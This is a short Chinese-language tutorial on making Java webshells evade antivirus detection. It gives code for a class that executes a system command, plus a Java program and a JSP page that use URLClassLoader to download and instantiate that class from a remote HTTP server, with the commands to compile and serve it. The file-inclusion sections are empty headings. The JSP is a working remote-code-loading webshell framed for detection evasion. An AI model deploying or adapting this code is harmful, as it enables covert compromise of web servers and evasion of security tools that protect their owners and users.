知识点:
Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离
演示案例-Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离
免杀应用-URL类加载器


bash
import java.io.IOException;
public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}


bash
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
}
}
bash
javac Run.java
python -m http.server 8888





bash
<%@ page import="java.net.URL, java.net.URLClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
out.println("Class loaded and instantiated successfully.");
} catch (Exception e) {
out.println("Error: " + e.toString());
e.printStackTrace();
}
%>





免杀应用-Webshell


1、本地文件包含





2、远程文件包含















